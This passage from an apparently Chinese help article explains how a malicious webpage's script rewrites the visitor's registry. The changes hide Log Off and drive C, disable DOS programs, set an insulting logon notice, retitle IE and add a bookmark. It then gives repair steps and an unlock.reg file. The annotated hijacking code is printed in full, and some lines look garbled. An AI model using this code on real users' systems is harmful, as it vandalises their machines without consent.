浏览网页注册表被修改之迷及解决办法

注：使受害者系统没有“关闭系统”项

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoLogOff", 01, "REG_BINARY"）;

注：使受害者系统没有“注销”项

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoDrives", "00000004", "REG_DWORD"）;

注：使受害者系统没有逻辑驱动器C

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp// Disabled","REG_BINARY"）;

注：禁止运行所有的DOS应用程序；

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion//Policies/ /WinOldApp//NoRealMode","REG_BINARY"）;

注：使系统不能启动到“实模式”（传统的DOS模式）下；

又注：进入该网页，它还会修改以下的注册表项，使WINDOWS系统登录时显示一个登录窗口（在MicroSoft网络用户登录之前）

Shl.RegWrite （"HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeCaption", "呜啦啦..."）;

注：这些代码会使窗口的标题是“呜啦啦…”

Shl.RegWrite （"HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeText", "欢迎你！你这个超级无敌大白痴！《呜啦啦...》故事开始了，按确定进入悲惨世界"）;

注：上面一行是会在窗口中显示出来的文字

注：下面两行代码修改注册表，使受害者所有的IE窗口都加上以下的标题：“呜啦啦…”

Shl.RegWrite （"HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "呜啦啦..."）; Shl.RegWrite （"HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "呜啦啦..."）;

注：到上面一行为止，完成了对受害者的注册表的所有修改！

注：下面代码用来将其网页增加到受害者的收藏夹中

var WF, Shor, loc; WF = FSO.GetSpecialFolder（0）; loc = WF + "//Favorites"; if（!FSO.FolderExists（loc）） { loc = FSO.GetDriveName（WF） + "//Documents and Settings//" + Net.UserName + "//Favorites"; if（!FSO.FolderExists（loc）） { return; } }

注：下面就是使其网页加入到你的收藏夹的具体代码

AddFavLnk（loc, "找到感觉www.findfeel.com", "http://www.findfeel.com"）;

由于代码很简单，又加了注释，相信你已经看明白是怎么回事了。那么如果不小心进入该网页，并且已经中招了该怎么办呢？别急，下面给你列出了解决的办法。

受害用户的修复方法：

1：对于Win9x用户，建议在电脑启动时按F8键，选择到MS-DOS方式下，使用Scanreg/restore命令来恢复以前备份的、正常的注册表。

2：对于Win2000用户，把以下内容copy下来，存为unlock.reg文件，选带命令行的安全模式，用命令regedit unlock.reg导入，如何，重启机器就OK了。

unlock.reg文件内容如下：

Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer] "NoDriveTypeAutoRun"=dword:00000095 "NoRun"=hex: "NoLogOff"=hex: "NoDrives"=dword:00000000 "RestrictRun"=dword:00000000 [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/System] "DisableRegistryTools"=dword:00000000 [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/System] "DisableRegistryTools"=dword:00000000 [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp] "Disabled"=dword:00000000 [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp] "NoRealMode"=dword:00000000 [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Winlogon] "LegalNoticeCaption"="" "LegalNoticeText"="" [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Main] "Window Title"="IE浏览器" [HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main] "Window Title"="IE浏览器"

以上是比较常见的修改浏览者注册表的现象，今天在浏览网页时，无意中来到某个个人网站，又遇到了以前没有碰到过的问题：

11、IE中鼠标右键失效

浏览网页后在IE中鼠标右键失效，点击右键没有任何反应！